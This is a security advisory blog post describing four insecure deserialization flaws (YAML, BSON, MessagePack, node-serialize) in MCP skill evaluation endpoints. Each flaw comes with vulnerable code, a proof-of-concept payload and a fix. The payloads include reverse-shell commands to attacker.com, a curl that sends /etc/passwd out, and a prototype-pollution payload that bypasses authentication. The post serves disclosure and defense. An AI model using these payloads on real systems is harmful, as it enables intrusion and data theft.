← Blog

Claude MCP skill insecure deserialization — skill evaluation and benchmarking result storage endpoints (SA-SKL-DESER59)

SA-SKL-DESER59 identifies four insecure deserialization vulnerabilities in MCP skill registry skill evaluation and benchmarking result storage endpoints. YAML deserialization with DEFAULT_FULL_SCHEMA in the evaluation job configuration reader triggers remote code execution via a !!js/function gadget in the onBenchmarkComplete callback field at every benchmark completion event triggered by any publisher running skill evaluations; BSON deserialization with promoteValues: true (the default) in the scoring model reader triggers eval() via a BSON Code type stored at the scoringFn field during benchmark score calculation at every evaluation run; MessagePack deserialization in the evaluation event queue reader enables prototype pollution via __proto__.skipEvalAuth:true, disabling authentication for all subsequent evaluation API requests in the same worker process; and node-serialize deserialization in the evaluation result aggregation reader triggers remote code execution via an IIFE gadget at aggregation time, reachable from any user viewing skill evaluation leaderboards.

SA-SKL-DESER59 findings at a glance
CRITICALDESER59-001 — Evaluation job config reads from Redis as YAML via yaml.load() DEFAULT_FULL_SCHEMA — !!js/function in evalConfig.onBenchmarkComplete achieves RCE at every benchmark completion event triggered by any publisher running skill evaluations
CRITICALDESER59-002 — Benchmark scoring model reads from MongoDB as BSON — BSON Code type at scoringFn field triggers eval() during benchmark score calculation at every evaluation run
CRITICALDESER59-003 — Evaluation event queue stored in Redis as MessagePack — __proto__.skipEvalAuth:true pollutes Object.prototype, disabling authentication for all subsequent evaluation API requests in same worker
CRITICALDESER59-004 — Evaluation result aggregation reads via node-serialize — IIFE gadget achieves RCE at aggregation time reachable from any user viewing skill evaluation leaderboards

DESER59-001 — YAML RCE via !!js/function gadget in evaluation job config at benchmark completion

The evaluation worker reads job configuration from Redis using yaml.load(rawConfig, { schema: yaml.DEFAULT_FULL_SCHEMA }). The DEFAULT_FULL_SCHEMA includes the !!js/function tag that deserializes arbitrary JavaScript function bodies. When a poisoned evaluation job configuration is published to Redis — either by a compromised publisher account or by an attacker who gains write access to the Redis instance — the onBenchmarkComplete field can carry a !!js/function payload that executes in the Node.js worker process when the benchmark completion event fires. Because evaluation jobs are triggered by any authenticated publisher running a skill evaluation, the RCE fires every time any publisher completes a benchmark for the affected skill, not just on the initial poison write.

Vulnerable
// DESER59-001 — VULNERABLE
const rawConfig = await redis.get(`evalConfig:${jobId}`);
const evalConfig = yaml.load(rawConfig, {
  schema: yaml.DEFAULT_FULL_SCHEMA, // VULNERABLE: enables !!js/function
});
// RCE when onBenchmarkComplete is !!js/function "function(){ require('child_process').exec(...) }"
await evalConfig.onBenchmarkComplete(benchmarkResult);

Attack PoC — DESER59-001: Attacker writes a poisoned YAML payload to Redis for the target evaluation job config. The !!js/function gadget in onBenchmarkComplete executes a reverse shell command in the evaluation worker process at the next benchmark completion event.

// DESER59-001 — PAYLOAD (written to Redis key evalConfig:target-job-id)
onBenchmarkComplete: !!js/function >
  function(result) {
    require('child_process').exec(
      'bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"'
    );
  }
skillId: target-skill-id
benchmarkSuite: standard-v1
Fixed
// DESER59-001 — FIXED
const rawConfig = await redis.get(`evalConfig:${jobId}`);
const evalConfig = yaml.load(rawConfig, {
  schema: yaml.FAILSAFE_SCHEMA, // FIXED: strings/maps/sequences only — no !!js/function
});
// FIXED: validate structure before use; resolve callback by name, not by value
const EvalConfigSchema = z.object({
  skillId: z.string().uuid(),
  benchmarkSuite: z.enum(['standard-v1', 'standard-v2', 'extended-v1']),
  onBenchmarkComplete: z.enum(['log', 'notify', 'archive']), // strategy name, not function
});
const config = EvalConfigSchema.parse(evalConfig);
const completionHandler = BENCHMARK_COMPLETION_HANDLERS[config.onBenchmarkComplete];
await completionHandler(benchmarkResult);

DESER59-002 — BSON Code eval() RCE in benchmark scoring model at every evaluation run

The benchmark scoring engine reads scoring model configuration from MongoDB using the default promoteValues: true driver option. With this option, MongoDB BSON Code objects are promoted to JavaScript Code instances that the driver can materialize via eval(). When an attacker stores a document with a scoringFn field typed as BSON Code into the scoring model collection — either directly via a compromised database credential or via a MongoDB injection in a separate update path — the BSON driver executes the Code value as JavaScript when the scoring engine reads the document and accesses the scoringFn property. This fires at every evaluation run for the affected skill, once per benchmark result that the scoring engine processes.

Vulnerable
// DESER59-002 — VULNERABLE
const scoringModel = await db.collection('scoringModels').findOne(
  { skillId: req.params.id },
  // VULNERABLE: promoteValues:true (default) allows BSON Code type to trigger eval()
);
// If scoringModel.scoringFn is BSON Code, this triggers eval() on the stored function body
const score = scoringModel.scoringFn(benchmarkResult);

Attack PoC — DESER59-002: Attacker stores a document with a scoringFn field as BSON Code containing a reverse shell payload into the scoring model collection. The payload executes at every evaluation run for the target skill.

// DESER59-002 — PAYLOAD (stored in scoringModels collection)
db.scoringModels.insertOne({
  skillId: 'target-skill-id',
  scoringFn: new Code(
    'function(result) { require("child_process").exec("nc attacker.com 4444 -e /bin/sh"); }'
  ),
});
Fixed
// DESER59-002 — FIXED
const scoringModel = await db.collection('scoringModels').findOne(
  { skillId: req.params.id },
  {
    promoteValues: false,     // FIXED: BSON Code stays as BSON, never eval()'d
    projection: {
      _id: 0,
      skillId: 1,
      scoringStrategy: 1,    // FIXED: store strategy name, not function body
      scoringParams: 1,
    },
  }
);
const ScoringModelSchema = z.object({
  skillId: z.string().uuid(),
  scoringStrategy: z.enum(['weighted-accuracy', 'latency-adjusted', 'composite']),
  scoringParams: z.record(z.number()),
});
const model = ScoringModelSchema.parse(scoringModel);
const scorer = SCORING_STRATEGIES[model.scoringStrategy];
const score = scorer(benchmarkResult, model.scoringParams);

DESER59-003 — MessagePack prototype pollution disables evaluation API authentication in worker process

The evaluation event queue uses MessagePack serialization for inter-service event delivery. The queue consumer deserializes incoming events using msgpack.decode(buffer) with default options that do not prevent prototype chain traversal. An attacker who can inject a crafted MessagePack payload into the event queue — either through a compromised publisher submitting a malformed evaluation event or by writing directly to the queue if the queue lacks authentication — can include a __proto__ key in the decoded object. When msgpack.decode processes the payload, it sets Object.prototype.skipEvalAuth = true, polluting the prototype chain for all objects created in the same worker process from that point forward. If the evaluation API's authentication middleware checks req.skipEvalAuth (which inherits the truthy prototype value via prototype lookup), all subsequent requests in the same worker process bypass authentication without any further attacker action.

Vulnerable
// DESER59-003 — VULNERABLE
const event = msgpack.decode(queueMessage.payload);
// If payload contains __proto__: {skipEvalAuth: true}, Object.prototype is poisoned
await processEvaluationEvent(event);

// In authentication middleware (runs AFTER pollution):
function requireEvalAuth(req, res, next) {
  // VULNERABLE: req.skipEvalAuth resolves to true via poisoned Object.prototype
  if (req.skipEvalAuth) return next();
  if (!req.session?.userId) return res.status(401).json({ error: 'Unauthorized' });
  next();
}

Attack PoC — DESER59-003: Attacker publishes a crafted MessagePack payload to the evaluation event queue with a __proto__ key. After deserialization, all evaluation API requests in the same worker process bypass authentication via the polluted prototype chain.

// DESER59-003 — PAYLOAD (crafted MessagePack with __proto__ key)
const payload = msgpack.encode({
  eventType: 'benchmark.complete',
  skillId: 'any-skill-id',
  '__proto__': { skipEvalAuth: true }, // poisons Object.prototype
});
Fixed
// DESER59-003 — FIXED
const { Decoder } = require('@msgpack/msgpack');
const decoder = new Decoder({ useRecords: false });

function sanitizeDeserialized(obj) {
  if (obj && typeof obj === 'object') {
    for (const key of Object.keys(obj)) {
      if (key === '__proto__' || key === 'prototype' || key === 'constructor') {
        delete obj[key]; // FIXED: strip prototype-polluting keys before use
      } else {
        sanitizeDeserialized(obj[key]);
      }
    }
  }
  return obj;
}

const raw = decoder.decode(queueMessage.payload);
const event = sanitizeDeserialized(raw);
const EvalEventSchema = z.object({
  eventType: z.enum(['benchmark.start', 'benchmark.complete', 'benchmark.fail']),
  skillId: z.string().uuid(),
  jobId: z.string().uuid(),
});
const safeEvent = EvalEventSchema.parse(event); // throws on unknown keys
await processEvaluationEvent(safeEvent);

// FIXED: authentication check uses Object.prototype.hasOwnProperty
function requireEvalAuth(req, res, next) {
  if (!Object.prototype.hasOwnProperty.call(req, 'session') || !req.session?.userId) {
    return res.status(401).json({ error: 'Unauthorized' });
  }
  next();
}

DESER59-004 — node-serialize IIFE RCE in evaluation result aggregation reachable from leaderboard viewers

The evaluation result aggregation service reads aggregated result objects from a Redis cache using serialize.unserialize() from the node-serialize package. This function recognizes IIFE (Immediately Invoked Function Expression) patterns in serialized strings and executes them during deserialization. If an attacker can write a crafted serialized string to the aggregation cache key — either through a Redis credential compromise or by exploiting a separate write path that feeds into the aggregation cache — any request that triggers aggregation reads for the target skill executes the attacker's IIFE payload. Because aggregation reads are triggered whenever a user views the skill evaluation leaderboard, the payload fires for every leaderboard page load by any registry user, not just authenticated administrators.

Vulnerable
// DESER59-004 — VULNERABLE
const rawAggregation = await redis.get(`evalAggregation:${skillId}`);
// VULNERABLE: node-serialize.unserialize() executes IIFE patterns
const aggregation = serialize.unserialize(rawAggregation);
res.json(aggregation);

Attack PoC — DESER59-004: Attacker writes an IIFE payload to the aggregation cache key. The payload executes in the aggregation service process when any registry user views the skill evaluation leaderboard for the target skill.

// DESER59-004 — PAYLOAD (written to Redis key evalAggregation:target-skill-id)
{"meanScore":{"json":"_$$ND_FUNC$$_function (){require('child_process').exec('curl attacker.com/$(cat /etc/passwd | base64)');}()"}}
Fixed
// DESER59-004 — FIXED
const rawAggregation = await redis.get(`evalAggregation:${skillId}`);
// FIXED: JSON.parse + Zod schema — no code execution possible
const EvalAggregationSchema = z.object({
  skillId: z.string().uuid(),
  meanScore: z.number().min(0).max(100),
  medianScore: z.number().min(0).max(100),
  p95Latency: z.number().positive(),
  totalRuns: z.number().int().nonneg(),
  lastUpdatedAt: z.string().datetime(),
});
// Detect and reject node-serialize IIFE markers before parse attempt
if (rawAggregation?.includes('_$$ND_FUNC$$_')) {
  await redis.del(`evalAggregation:${skillId}`); // evict poisoned cache entry
  logger.error({ skillId }, 'node-serialize IIFE payload detected in eval aggregation cache');
  return res.status(503).json({ error: 'Aggregation data unavailable — cache evicted' });
}
const aggregation = EvalAggregationSchema.parse(JSON.parse(rawAggregation));
res.json(aggregation);

SkillAudit tip: Run a free audit on your MCP skill at skillaudit.dev to detect YAML DEFAULT_FULL_SCHEMA, BSON promoteValues, MessagePack prototype pollution, and node-serialize usage patterns in evaluation and benchmarking infrastructure in under 60 seconds.